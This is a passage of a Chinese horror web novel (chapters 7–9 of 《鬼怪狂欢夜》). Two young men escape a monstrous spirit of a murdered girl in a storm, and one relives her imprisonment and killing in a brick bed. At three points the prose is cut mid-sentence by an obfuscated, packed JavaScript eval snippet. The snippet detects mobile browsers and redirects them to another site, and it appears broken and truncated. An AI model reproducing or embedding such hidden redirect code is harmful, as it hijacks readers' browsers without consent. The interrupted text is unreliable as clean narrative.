《鬼怪狂欢夜》 7. 第二夜 两人在田争家里吃完饭以后又坐了一会儿,窗外的雨势仍然丝毫不见减弱。厚重的云层低垂,仿佛要压到人心口,带来莫名的压抑感。 密集的雨幕将整个世界笼罩在一片朦胧之中。 按理来说,夏季的雨来得快去得也快,像这样持久的暴雨实在少见,时间点也是那么刚好,让人忍不住就联想到那句,“见者大兵”。 钟遥晚和应归燎原本打算等雨停了就回去的,可是看见天色渐晚,再耽搁下去的话很可能会遇上二丫的思绪体,只好冒雨赶回。 田争热情地借给他们两把油纸伞。应归燎也不和他客套,直接接过了伞,并且和他再次确认一遍等到雨停了以后就一起去老槐树的约定,才告辞离开。 钟遥晚方向感不太好,尤其是在这样的大雨中。周围的景色都被雨水模糊成一片,辨识方向更是难上加难。 不过好在应归燎还记得路,他只要跟着就好了。 雨水噼里啪啦地打在油纸伞上,水珠带起泥点将他的鞋子、裤腿都弄脏了。 钟遥晚刚大学毕业,学的是古物的鉴定与修复,现在一家名不见经传的艺术品公司实习。工资正好够温饱,还忙得脚不沾地,可这也是他能找到最好的工作了。 虽然现在正值暑假,但作为即将入职的准社畜,他根本没有假期可言。 实习的公司已经决定和钟遥晚签订正式合同,他本想趁着签署协议前先回老家待几天。从平和城到临江村不过大半天的路程,所以他连换洗衣物都没带够,谁知道能遇上这么多的倒霉事。 沉默了大半路的应归燎忽然开口了:“老板娘说……” “嗯?”钟遥晚心不在焉地回应了一声,他的注意力全在自己沾满泥点的裤腿上,努力地回忆手搓衣服的技术。 应归燎也没有注意到钟遥晚的走神,自顾自地继续着:“那个老虔婆一直喊着‘神要来接我了’,我就一直以为那个老婆子是不是在做什么迷信的事情。嗯……类似想要用思绪体炼制凶兽什么的,以前有遇到过类似的案子。”应归燎走在前面,他直直地望着前方那片雨幕,神情中没有什么波澜,停顿了片刻以后又道,“……但是老虔婆的女儿小名叫阿申,她会不会是在喊‘申要来接我了’?” “你是说,她在用二丫的思绪体炼凶兽,然后……把她杀了?”钟遥晚这会儿反应过来了,两步走了上去接上应归燎的话,“可是为什么要做这种事?为什么非要她女儿把她杀了?” “谁知道疯子在想些什么。”应归燎耸耸肩膀,伞面上的雨水顺势滑落,从边缘抖下了一串水珠砸到他肩膀上,把他冻得嗷嗷直叫唤,“不过还有一个可能,这老婆子可能不太清楚思绪体到底是什么东西,但是在引导二丫成为‘朱厌’。” 钟遥晚皱眉。 应归燎拍了拍他肩膀宽慰道:“没事的,先回去吧。” 现在的时间还早,两个人到了旅馆也不过五点出头而已,距离太阳下山还有很久。 老板娘看见他们回来了连忙应了上去,见两人被淋成了落汤鸡,连忙给他们递过去干毛巾,随后转身又去煮姜汤了。 虽然在这里住一晚贵得离谱,但是好歹服务还不错。 “你俩咋整的跟落汤鸡似的呢,来,赶紧喝点热的暖一暖。”老板娘把姜汤端了过来,“晚餐要不再给你两炖个鸡汤?要是感冒了那可得遭老罪了。我这给你们发短信一直也没回,还以为你们出啥事儿了呢。” “行啊,姐。”应归燎抿了一口姜汤,“这山里的信号太不稳定了,我俩的手机讯号一直都是断断续续的,消息根本发不出去。” “是,看这样子你们今晚是又只能住在这里了。”老板娘轻轻叹了口气,随后她的视线不动声色地往钟遥晚这里瞟了一眼。 钟遥晚也立刻心领神会,这是问他要今晚的房费呢。 他看向一旁的应归燎,对方却假装正在专注地喝汤,明显在逃避买单。钟遥晚气得踢了他两脚,这人还佯装没感觉,东张西望地说:“今天雨真大。” 这家伙……! “混蛋吧你?!”钟遥晚狠狠踩了他一脚,见这人还在装死以后只能自己回屋去拿钱了。 钟遥晚把钱给了老板娘,又续了一晚房费,老板娘把钱收进围裙兜里就笑眯眯地回去厨房做饭了。 见老板娘走远,应归燎立刻恢复了活力,谄媚地给钟遥晚让座,还给他捏肩捶背:“哎呀,钟少大气啊!你看我这不是没带现金嘛,山里信号又差,我一个弱男子独自一人在外,无依无靠的……还好遇上了钟少你啊!” “下山立刻还钱!”钟遥晚根本不吃他这一套,板着脸看着他。 “一定一定!”应归燎连连保证。 * 晚饭后,两人回到了潮湿的房间。雨天电压不稳,灯光忽明忽暗,应归燎干脆点起了蜡烛。这样的景再配上这样的烛光,多少有点荒野求生的味道了。 他手机的充电音一阵一阵地,嘟嘟个没完,把钟遥晚吵得一阵心烦。 钟遥晚在厨房烧了一锅热水,搬了个小板凳坐在一边开始搓自己的衣服。他这会儿就穿了一件旧汗衫和破中裤,这已经是他带出来的最后一套衣服了。单薄的旧汗衫被水汽洇湿了大半,隐约透出清瘦的腰线。 应归燎看了他一眼,还没心没肺地笑:“钟少爷这张脸倒是生得挺标致,怎么穿得跟个逃荒的似的?” 钟遥晚狠狠拧了一把衣服,咬牙切齿地瞪他一眼:“要你管?!” 钟遥晚长得还算好看,眉目如画却不显女气,鼻梁高挺衬得整张脸轮廓分明。要是换上身像样的衣服,上街的回头率一定很高。 只可惜,他自小在农村长大,从来不在意自己的穿搭。 这两件衣服他都已经穿了好几年了,除了有点泛黄以外没什么问题,扔了也浪费,钟遥晚就将它一直当睡衣穿了。不过外头这天气,他的衣服洗了也干不了,看来这两件衣服也是要时隔多年重见天日了。 窗外已经完全暗了下来,黑暗中仿佛蛰伏着未知的危险。 钟遥晚越想越气,搓衣服的力道都加重了:“明天确定能走了,对吧?” 应归燎正在床上玩手机,充电提示音嘟嘟响个不停:“对啊,今天跟老田和小田聊完了以后我就更加确定二丫的‘思绪体’是什么东西了。” “是什么?”钟遥晚头也不抬。 “我的罗盘是不会出错的,二丫的思绪体一定在那个废墟里。”应归燎打完一局,这才舍得放下手机,“而思绪体应该是死者死前最有执念的东西……” “红绳?”钟遥晚应答,“我看到那个怪物手上就戴了根红绳。要是二丫对田争也有意思的话,那么执念就是那个了吧?” 应归燎摇头:“不,应该不是。田争说了,二丫那个时候才十二岁,应该还不至于把情情爱爱看得那么重要。而且我们今天早上也在废墟里搜过了,没有找到那根红绳。那根红绳很可能也是二丫的意念实体化出来的,她的灵魂钻进了最有执念的事物里,而思绪体实体化出来的就是她想要成为的样子。” “……她,想要成为朱厌?”钟遥晚声音发紧。 “没错。虽然具体的原因我不清楚,但总之思绪体变化出来的都是死者生前想要成为的样子,或者是想要实现的事情。”应归燎转着手机,他的语速很慢,似乎在思考应该怎么整理措辞,“根据老板娘和田争的话来看,二丫应该十三岁的时候就死了,而她一直在用脑袋撞墙……” 钟遥晚拧着眉头思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614241|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索了片刻:“墙……砖头?” “没错!很有可能!她的思绪体很有可能藏进砖头里了。”应归燎肯定地说着,他的眼神也跟着变得锐利起来,“而且根据老板娘的话,我觉得二丫很有可能在疯之前就被关起来了。你觉得一个人,在什么情况下会整天都想着砖头?” 钟遥晚凝神,顺着应归燎的话推演了一下当时的情景,随即感到一阵寒意爬上脊背,声音也有些发僵:“她……不会是被关在了那个炕里吧?!” 应归燎点头:“对,所以她后来每次实体化的时候也都是在炕里,那个洞口的大小……扒开的话估计正好能把脑袋探出来。如果长得小一点……嗯,只有十几岁的话,可能还能把胳膊也钻出来。” “可是我们那天晚上见到的怪物还挺大只的,不像是小姑娘的样子啊。”钟遥晚仍然不敢相信。 “嗯……”应归燎沉吟了片刻,“思绪体实体化出来的毕竟不是真的,只是一个能量体而已。那老虔婆应该是因为阿申的死,对二丫一直有恨。所以她还住在那个房子里的时候,她的恨意不断地给思绪体灌输负面能量。所以二丫的思绪体总是吸取了一点能量,到夜里就出来了。但是这个月,老虔婆住到村尾的屋子去了,所以可能攒够能量了就变得……嗯,长大了。” 雨水敲打窗棂的声音如同无数细小的手指在扣挠玻璃,让人一阵不安。 就在钟遥晚又想说什么的时候,窗外忽然炸开了一声惊雷,震得窗户嗡嗡作响。 钟遥晚手一抖,洗衣盆差点被他弄翻了。他连忙要去扶,灯光却在瞬间熄灭了,只剩下蜡烛微弱的光芒在黑暗中跳动。 “电压又不行了?”钟遥晚故作镇定,却见应归燎警觉地从床上坐了起来,朝他做了个噤声的手势。 黑暗中,除了雨声,似乎还有别的响动——像是有什么东西在轻轻剐蹭着旅馆的外墙,一下,两下,簌簌移动着。 一瞬间,钟遥晚甚至都忘了怎么呼吸。 应归燎悄无声息地摸到了窗边,借着闪电的亮光,钟遥晚清楚地看到他的脸色变得煞白。 “怎么了?”钟遥晚用气音问着,不过他心里其实也有了答案。 应归燎慢慢地退回床边,他深吸了一口气,尽量让自己的声音显得平静:“我们可能不用等明天了。”他的声音轻得几乎听不见,“二丫找上门来了。” 钟遥晚这才注意到,窗外的剐蹭声不知何时已经停在了他们窗外的位置。 随后借着又一道白光,他清楚地看到窗户上印着两个模糊的红色手印!——那手印比常人要小一点,骨节处诡异地突出着,像是某种猿类的爪子。 雨滴落上掌印,一颗接一颗连接在一起往下滑落,仿佛指尖渗出了鲜血一样。 又是一道闪电亮起,这次出现在窗口的赫然是那天那个追着他们跑了两条街的人面猿身怪物! 那张人脸在闪电的映照下呈现出死尸般的青灰色,她的嘴角几乎要扯到耳根,猩红的双唇就像是还沾着没有擦净的血液。她的脸颊边缘长满了粗硬的白毛,此刻被雨水打湿,一绺一绺地粘在脸上。 她看到钟遥晚和应归燎两个人似乎很兴奋,笑得肩膀都在颤抖。钟遥晚听不见她的笑声,但是却能够想象出那阵刺耳的锐鸣。 “我*!!”钟遥晚见到她的一瞬间就没控制住声音惊叫出来。 他的声音还没有落下,怪物突然猛地用头撞击窗户。 “砰!” 一声巨响后,玻璃上立刻出现了蜘蛛网般的裂纹。 那怪物的视线却在同时紧紧地凝着他们,就像是看着猎物一般,眼睛都没有眨动过。 “快跑!!”应归燎反应得倒是快,直接拽住了钟遥晚胳膊一个箭步就往外冲。 8. 暴雨 就在他们转身的瞬间,身后传来玻璃爆裂的巨响。钟遥晚的心脏猛地收紧,就像是被一只无形的手攥紧了一般。 他的脊背瞬间爬满冷汗,每一根汗毛都竖了起来。 尖锐的碎片擦着他的脸颊飞过,那怪物竟是直接从布满玻璃碎渣的窗口爬了进来。她的四肢才在锋利的玻璃,带出一声声令人牙酸的“咔嚓”声。 碎片划破皮肤,她竟也像是人一般渗出了鲜血。 钟遥晚紧张地吞咽了一口唾液,他看见那怪物的血液顺着伤口汩汩流出,她却像是不知疼一般,反而咧开血盆大口,露出一个令人毛骨悚然的狞笑。 钟遥晚的心跳几乎停跳,黏稠的液体附着在怪物的四肢上,在昏暗的灯光下泛着诡异的光泽,怪物的身影在此刻和老虔婆柜中画着的那只朱厌完全重合——思绪体的二丫,活脱脱就是传说中的朱厌现世! “跑啊!”应归燎的吼声将他从恐惧中惊醒。 那只怪物也在同时,突然以一种古怪的姿势趴在地上,脊椎如弓弦般绷紧,像是猿类一样四肢并用地朝他们飞扑过来。 钟遥晚闻到一股腐肉中混着铁锈般的恶臭,他感觉一阵腥臭的风擦过后颈。他的双腿发软,几乎要跪倒在地,却被应归燎一把拽住,踉跄着冲出房间。 “砰!”应归燎用力地将门砸上。 门关上的瞬间,钟遥晚看到一只血淋淋的爪子伸了过来,几乎要从门缝中伸出,但是被门板及时地隔绝了。 她的腕上还戴着一根几乎和血肉模糊在一起的红绳,差一点就抓住他的衣角了。 “砰砰砰!” 薄薄的木板被怪物撞得剧烈震颤,仿佛下一秒就要四分五裂。指甲剐蹭木头的声音让钟遥晚头皮发麻,他下意识地捂住耳朵,却无法阻挡那阵刺耳的声响钻入脑海。 “大门!快!”一出门应归燎就立刻做出了判断。 钟遥晚的大脑还在嗡嗡作响,但是求生本能让他机械地跟着应归燎冲向走廊尽头。他的双脚像不属于自己的一般,只是本能地交替迈动。 那只怪物可怖的样子似乎还印在他的视网膜,腐臭的味道还钻在鼻腔之中,但是他此刻根本不敢放慢脚步,生怕一回头就会对上那双血红的眼睛。 就在应归燎的手即将碰到大门把手时—— “咔嚓”。 时间好像在顷刻之间凝滞了。 钟遥晚和应归燎同时僵在原地,耳边只剩下自己震耳欲聋的心跳声。 随即,他们身后传来湿漉漉的声音,像是什么东西贴在地板上挪动。很慢,很轻,但是每一下都踩在他的神经上。 钟遥晚的余光看向那只怪物,整条走廊都已经被怪物身上的血水染成暗红色,而那只怪物就站在这片血痕上,浑浊的双眸死死地盯着他们,就像是在看着两只笼中鸟一般。 “别动……”钟遥晚刚想回头,炙热的吐吸就喷散在他耳畔。应归燎的呼吸声中还带着些许刻意的压抑,低声道,“它在观察。” 钟遥晚突然感觉喉咙发紧。他能看到怪物扭曲的肌肉在跳动,看到她锋利的指甲在水泥地上挠出一道道划痕。 她在等什么?在享受猎物的恐惧吗? 她在看什么?猎物惊恐得狼狈模样吗? 钟遥晚和应归燎此刻就像是被蛇顶上的青蛙,连最细微的动作都可能引发致命的攻击。 汗水顺着钟遥晚的太阳穴滑下,混着恐惧的寒意深入衣领。 应归燎的手僵在半空,距离逃生的门把手仅有寸许,他的余光同样紧锁在怪物身上。 他也在观察,寻找合适的脱身时机。 …… ………… ——“吱呀”。 木门被推开时发出了一阵沉重的声响,僵局也被突如其来的开门声打破。 三人几乎同时朝着被打开的门投过去视线。 只见老板娘顶着一头乱发推开门,她应该是被刚才钟遥晚的惊叫声吵醒的,这会儿才刚刚换好衣服走出来,衣服皱巴巴的一团,睡眼惺忪地抱怨道:“大半夜的,能不能安……” 她的声音戛然而止。 老板娘的脸色瞬间变得惨白,她的身体忽然像是筛子一样剧烈地颤抖起来,圆润的脸颊肉止不住地抖动,牙齿磕碰着发出一串咯噔声。 “啊!!!怪、怪物!!”老板娘惊叫出声,下一刻就瘫软在地,昏死过去。 二丫化身的怪物就站在她面前,钟遥晚看见怪物的视线在接触到老板娘时明显地怔了一下。奇怪的是,当怪物看清老板娘时,眼神突然变得复杂起来。 她看着老板娘倒地,狰狞的表情中出现了一丝波动,目光透过凌乱的白发打量着对方,似乎在辨认什么,猩红的眼中闪过一丝难以辨认的情绪。 “走!”应归燎当机立断,猛地推开大门,拽着钟遥晚冲进暴雨中。 冰冷的雨水瞬间浸透全身,钟遥晚踉跄了一下,差点摔倒,脚下磕绊了一下才顺利跟上应归燎的速度。 他回头想要确认怪物有没有追上了,却见那只怪物对晕倒的老板娘没有一点兴趣,目标明确地以惊人的速度朝他们直追而来! 屋外漆黑如墨,雨水像是一堵水墙一样隔绝了所有退路。钟遥晚能感觉到那个怪物在愈发逼近,他甚至还能够闻到潜藏在泥土气息中的腥臭味。 雨水像无数的针扎在皮肤上,钟遥晚的视线完全模糊了,在漆黑之中甚至连应归燎的身影都看不清楚。 脚下的泥地湿滑黏腻,每一步都有可能摔倒。他只能感觉到应归燎正死死地攥着他的手腕,拖着他磕磕绊绊地往前冲。 身后传来“啪嗒啪嗒”的声响——是那个怪物四肢并用地在泥水中爬行的声音。 “往哪儿跑?!”钟遥晚嘶吼着。 “不知道!先甩开她!”应归燎的回应中带着粗重的喘息。 他们根本看不清路,只能在黑暗中凭着本能奔跑。钟遥晚的脚踝陷进泥坑,差点栽倒,被应归燎强硬地一把拽起。 身后的怪物发出一种介于笑声和嘶吼之间的声音,这声音似乎是从她的喉咙深处传出的,带着一股干哑的声嘶力竭。她咯咯笑着,似乎正在享受这场猎杀游戏。 突然,钟遥晚的膝盖撞上了什么坚硬的东西,疼得他倒吸了一口冷气。 他伸手一摸,是粗糙的树皮! 这是一棵老槐树,树干粗得两人合抱都无法完全拥住。 应归燎当机立断:“上树!” “好!”钟遥晚立刻应下。 钟遥晚是在乡下长大的,爬树这项功夫他从小就熟悉,可是在暴雨天爬树这还是头一遭。湿滑的触感让他几次差点滑落,但是最后都靠着对身后未知的恐惧而克服过来了,他的手指紧紧地抠进树皮的裂缝中,指尖甚至渗出被刺出血了也不敢松懈分毫,最终一蹬腿反而比应归燎先一步爬上去。 他伸手反拽住应归燎:“快!” 应归燎也随即握住他的手,接着力道一下爬上去。就在他上去的瞬间,一道黑影猛地扑到树下,差点就将应归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614242|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燎拉了下去。 怪物仰起头,那张脸在闪电的照耀下忽明忽暗,光暗分明的怪脸让人看了心里一阵发毛。 怪物跳了几下却没有办法成功上树,尖锐的指甲只能在树上挠下几块树皮。她脸上的狞笑也在这一刻变成了无力的狂怒。 钟遥晚和应归燎此刻站在树枝上气喘吁吁,稍作休整。好在这棵槐树已经年岁很大了,它的枝干即使同时承受两个成年人的重量也绰绰有余。 钟遥晚望着树下的怪物,忽然想起了小时候奶奶和他说过,槐树属阴,最容易招来不干净的东西。 而现在,他们就在一棵最阴的树上,躲避着最邪的怪物。 这怪物虽然有着朱厌的外形,但是还好她的内核仍然是二丫,小姑娘似乎不会爬树的样子。 “还好,可以安心一会儿了。”钟遥晚抹了一把脸上的水渍,长舒了一口气。这会儿躲在树叶下,雨势被枝叶遮挡了部分,也让他能喘口气了。 只是他这口气还没有完全吐出胸腔,怪物忽然又有动静了! 他低头看过去,发现怪物似乎开始学习怎么爬树了。它可能没有技巧,但是偏偏那尖长的指甲给了她绝对的优势,让她没一会儿就摸索到了技巧,开始向上攀爬。 “操,没完了?!”钟遥晚忍不住骂了一句。 “分开跑。”应归燎用气音说着,他的嘴唇几乎没动,声音被压在了暴雨之下,钟遥晚差点没有听清楚,“我去引开她,你去搬救兵。” “搬救兵?!但是我们现在……”钟遥晚不可思议地重复着他的话,他的声音也因为恐惧而微微发颤。 “对,搬救兵。”应归燎此刻根本没有工夫和他解释具体的计划,生硬地将钟遥晚的话打断了,用最快的语速同他交代:“这个村里都是老弱病残,找他们没有用。现在雨虽然大,但是应该没有发生泥石流,你直接下山,山下的信号应该会好一点。你拿着我的手机,打给通讯录里的‘卢老狐狸’,跟他说这里的情况以后他会马上赶过来的。” “那你呢?!”钟遥晚生怕下一个瞬间应归燎就去英勇就义了,连忙攥住他的胳膊。 “我?”应归燎轻轻笑了一下,强装出从容的样子。他拍了拍自己的口袋,钟遥晚还记得那是他平时用来塞罗盘的口袋,“我努力撑到你们过来。可别太久了,不然我也成‘朱厌’了。” “可是……”钟遥晚刚想反对,树下突然传出一声巨响,将他的思路一同打断了。 只见怪物因为攀爬失利跌落在地上,她泄愤一般地以身体重重撞击树干。整棵树剧烈摇晃,积存的雨水倾泻而下,如同一场小型瀑布。 “啊、嗝……呃呃啊!!”怪物声嘶力竭地嘶吼着,然而它却只能发出像干枯树皮般的鸣叫。那刺耳的叫喊声就像是指甲刮过黑板,无端地令人感到心悸。 “就是现在!”应归燎抓住了怪物撞击的间隙,从兜里掏出手机,一把塞进钟遥晚手里。随后,他从树上一跃而下,落地后就是一个利落的翻滚,随手抓起石头狠狠砸向怪物后背,“这边!畜生!” 怪物发出了一声愤怒的吼叫,显然,应归燎的攻击奏效了。 她转身朝应归燎扑过去,钟遥晚在树上看得心跳几乎停止。 他看到应归燎在泥地翻滚躲闪,从一开始的游刃到后来的狼狈,而怪物的利爪每一次都差点撕开他的皮肉,单是旁观就让他胆战心惊。 钟遥晚咬紧牙关,强迫自己不再去看。他从另一侧滑下树干,凭着感觉朝着下山的路狂奔而去。 9. 可是她没有成功 钟遥晚将应归燎的手机死死护进口袋中。他像是一只受伤的兽类一般,深一脚浅一脚地冲开雨幕在泥泞中奔跑。 肺里火烧火燎地疼,但更让他恐惧的是前方逐渐清晰的建筑轮廓竟然有些眼熟。 “怎么会……”钟遥晚刹住脚步,泥水溅到膝盖上。 眼前的小房子赫然是他们刚刚逃离的旅馆。方才被他们打开的门还敞开着,从屋里透出点不合时宜的暖色烛光。 钟遥晚的心脏在胸腔里疯狂撞击,他明明记得自己是朝着下山方向跑的! 他下意识地右手下意识摸向口袋,指尖触到的却不是预期中冰凉的手机外壳,而是一个触感奇妙的圆盘。 它似乎是石头做的,但是却比石头更加光滑。 钟遥晚感觉自己的太阳穴在突突地跳,果不其然,他下一刻从兜里掏出来的不是手机,而是应归燎那个吵人的罗盘!! 他将罗盘掏出来时,罗盘的指针正在疯狂旋转。它的青铜底盘上还沾着些血迹,不知道是自己蹭上去的还是应归燎在他不知道也受伤了。 “该死!” 钟遥晚恨恨地捶了下自己的大腿。当时在树上太慌乱,竟然拿错了应归燎塞过来的东西。 此刻没有手机,没有信号,钟遥晚就像被扔回原始社会的困兽一样失去了方向。 现在要怎么办? 回去给应归燎送罗盘? 还是直接下山,靠运气去找他口中的“卢老狐狸”? 不,不行,直接下山找人无异于大海捞针。 而且在他走之前,应归燎明确地说了有罗盘在他才能够拖时间,现在没有罗盘了,钟遥晚根本不知道要怎么样才能在那个怪物手底下活过整个黑夜。 钟遥晚的思想斗争只持续了短短一瞬间就结束了。他咬紧牙关,毅然决然地转身打算回老槐树。 应归燎还在和朱厌搏斗,他一定要把罗盘送回去。 就在钟遥晚下定决心抬脚的瞬间,一股异样的温热突然从指尖传来。 在这冰冷的雨夜里,这缕暖意格外明显,像是黑暗中突然亮起的一星火光,能唤醒迷途的人。 钟遥晚诧异低头,只见一抹盈盈绿光正从指缝间渗出,如同活物一般在他指尖缠绕。 “这是……”话音未落,钟遥晚左耳垂突然传来一阵尖锐的刺痛,像是被什么灼伤一般。 他条件反射地护住了耳朵,与此同时,他手中的罗盘却突然安静下来。指针在最后一圈急速旋转后,如同上了锁的机关一般,咔哒一声稳稳地指向东边—— 东边,是废墟的方向。 对了!今天他们还分析过,二丫的灵魂应该附着在废墟里的某块砖上。如果能找到它,只要把思绪体带去给应归燎,或许根本不需要等待救援,应归燎当场就能完成净化! 这个念头让钟遥晚的心脏剧烈地跳动起来。 他立刻明确了方向,用力抹了一把脸。 雨水在掌心留下冰凉的触感,他再次看向罗盘,那根青铜指针纹丝不动地指着废墟,仿佛在无声地催促。 “好。”他深吸了一口气,雨水的气息充满肺部,“我们就去废墟。” “我们可是要去救你主人的,可别再掉链子了!”钟遥晚紧了紧手中的罗盘,他这话像是对罗盘说的,也像是对自己说的,随后没有丝毫犹豫就朝废墟冲了过去。 废墟距离旅馆不远,走路也不过五分钟的路程。 钟遥晚几乎是用最快的速度跑到了废墟。他对这里的印象还停留在朱厌吃人的时候,而此刻,废墟在暴雨中更是如同一座微型坟墓,碎砖乱石地堆砌出诡异的轮廓。 手机闪光灯只能照亮前方一小块区域,罗盘指针始终固执地指向废墟深处,但是已进入废墟范围,指针又开始疯狂旋转,仿佛迷失了方向一般。 “操。”钟遥晚低低骂了一句,这罗盘果然还是和之前一样不靠谱。 虽然钟遥晚看到应归燎偶尔会对着罗盘说话,但是说到底它终究是个死物,怎么可能会真的通人性? 现在他也就只能祈祷思绪体会和别的砖头有明显的区别,不然这么一大片的砖头,他根本无从找起。 钟遥晚在废墟中摸索着,这里除了那个炕以外,四周还有一点残余的墙体。 他此刻有些病急乱投医,就近开始摸索起边缘的墙体。将墙砖都抚摸了个遍的时候才忽然反应过来,二丫很可能是被困在了炕里面,被活活闷死的。 她的灵魂很可能就近附着在了某块砖头上。 这个认知让钟遥晚浑身一颤。他跌跌撞撞地冲向炕头,膝盖重重磕在碎石上也顾不得疼。 他凭着记忆找到应归燎当时寻到的小洞,砖块还保持着被挪开的样子,轻而易举地就能够把手伸进里面的空间。 钟遥晚还记得,当时见应归燎在这个洞里摸索了半天才退出来。这一下他也算是明白其中缘由了——这个炕的中间几乎都是空的! 他将手机置在洞口处,让灯光照进炕洞里。 果不其然,中间的洞很深,别说只是一个十几岁的小姑娘了,只要洞口允许,就是要塞一个成年人进去也是绰绰有余的。 洞内的空间里有很多的碎石,不知道是原本就在的还是因为山崩被砸落的。 钟遥晚不死心地又摸索了一圈,却始终没能找到更大的入口。 眼前这个窄小的洞口,勉强只容得下他一条胳膊伸进去。 他咬了咬牙,将手臂一点点探入洞中,粗糙的砖石摩擦着手肘,传来阵阵刺痛。肩膀已经因为过度伸展而隐隐作痛,但他仍不肯放弃,执拗地向前探去,仿佛只要再往前一寸,指尖就能触碰到二丫那缕飘散的思绪体。 钟遥晚的脸紧紧贴在冰冷的炕面上,粗糙的砖石纹路深深压进他的脸颊,留下一道道红痕。 汗水混着雨水,顺着他的脸颊滑落。他的指尖颤抖着摸索过每一块砖石,每一次触碰都带着微弱的希冀,又随时可能坠入更深的绝望。 就在他的指腹划过下一块砖头的瞬间,一股难以言喻的力量骤然窜入他的身体。 那感觉如电流般从头顶直贯而下,先是在颅腔内炸开,紧接着顺着脊背蔓延,最后汇聚在紧绷的指尖,与体内的力量疯狂交织、碰撞。 巨大的力量开始冲突。他想要抽手却发现自己的整条手臂像是被浇筑在砖墙里了一般,根本无法动弹。 罗盘在另一只手中疯狂震颤,躁动的指针也在这个时刻忽然稳稳地停下了转动,“咔”的一声直直地指向他嵌入墙缝的手指的位置。 “这是……”他的疑问甚至还没来得及说出口,眼前就炸开了一片刺目的白光。 * ——一阵天旋地转后,钟遥晚的视线突然矮了半截。 等到晕眩稍退,他惊恐地发现自己的手变成了孩童的大小。他的指甲缝里嵌着黑泥,脏兮兮的手背上还有一道结痂的抓痕。 粗布衣袖下露出的腕骨纤细得可怜,他身上穿得破破烂烂的,只有一双小花鞋还算得上漂亮。 不过小花鞋有些不合脚,像是谁家娃娃不穿了才给她的。 不合脚的尺寸让他的脚趾被磨出了水泡。钟遥晚能清晰地感受到布料摩擦伤口时火辣辣的疼痛,还有胃部传来的阵阵绞痛。 他踉跄着抬头,看见一棵巨大的老槐树,枝叶伸展几欲遮天蔽日。奇怪的是,当他躲进树荫下的时候,即使周遭发生的一切都那么诡异,都让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614243|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感到了一股难以言喻的安心。 “二丫!” 忽然,一个清脆的童声从身后传来。 他——不,是这具身体不受控制地转过身,随即视野中赫然出现了一个缺门牙的男孩,举着半截烤玉米气喘吁吁地跑过来。 焦黄的玉米粒上还沾着草木灰,在阳光下泛着诱人的油光,散发着让人无法抗拒的香气。 那香气让钟遥晚的胃部猛然抽搐了一下,这具身体已经饿了太久太久。 男孩把玉米塞进“他”手里时,一股暖流突然涌上心头。 钟遥晚清晰地感受到二丫胸腔里涌起的感情,纯粹而炽热。像是寒冬里突然照进的一缕阳光。 钟遥晚在这具小小的身体里,清晰地感受到那颗干涸的心是如何为这点温暖而颤动的。 可是还未等他细细地品味这一份如初春般的悸动,眼前的画面却忽然被冲散。 不属于他的记忆如决堤的洪水一般奔涌而来,像是走马灯一般在他眼中一幕幕重现。 他看见煤油灯下摇曳的夜晚,老虔婆粗糙如树皮的手指正在缝补破旧的衣裳。她的脸上带着慈爱的笑,却在针尖戳到手指,渗出血珠以后笑容忽然变得狰狞。 而这具身体只能缩在角落,瑟瑟发抖地看着那根沾血的针在灯光下闪着寒光,祈祷它不会落到自己的身上。 他看见某个阴沉的午后,老虔婆忽然发疯一般地闯进屋子。随后他的头皮传来撕裂般的疼痛,这具身体拼命地挣扎反抗着,在被塞进柜子的一瞬间瞥到了衣柜顶的诡异壁画。朱厌狰狞的面孔在黑暗中若隐若现,铜镜的眼睛在光照进去的一瞬间反出骇人的光芒。 下一秒她就被塞进了柜子中,那束光芒也随着柜门的关闭而消失。 他看见在暴雨的夜晚,她被踹倒在炕沿,后脑勺重重磕在了砖头上,嘴里也瞬间蔓延出铁锈的味道。老虔婆正在用铁锤敲砸炕洞,然后将她硬生生地塞了进去。滚滚闷雷将她的叫喊和铁锤的声响全部淹没。 小小的她无力反抗,只能眼睁睁地看着炕洞再被一块块砖石填补上入口。 她的鼻腔里充满了潮湿的霉味,狭小的空间让她只能蜷缩成一团,每一次的呼吸都伴着尘土钻入鼻腔。 终于在某天深夜,她听到门外的争执声时放声哭喊求救,可是下一刻冰冷的刀刃就抵上了她的喉咙…… “……呃!” 直到二丫的生命进入尾声,钟遥晚终于夺回身体控制权。 他猛地后仰,但是禁锢着他手臂的力量不知在何时也消失了。 钟遥晚的后脑勺随着后坐力重重磕在地上,可他却感觉不到疼,因为更剧烈的疼痛正在他体内奔涌着。 二丫最后的记忆如滚烫的沥青,一点一点,缓慢而残酷地灌进他的五脏六腑。 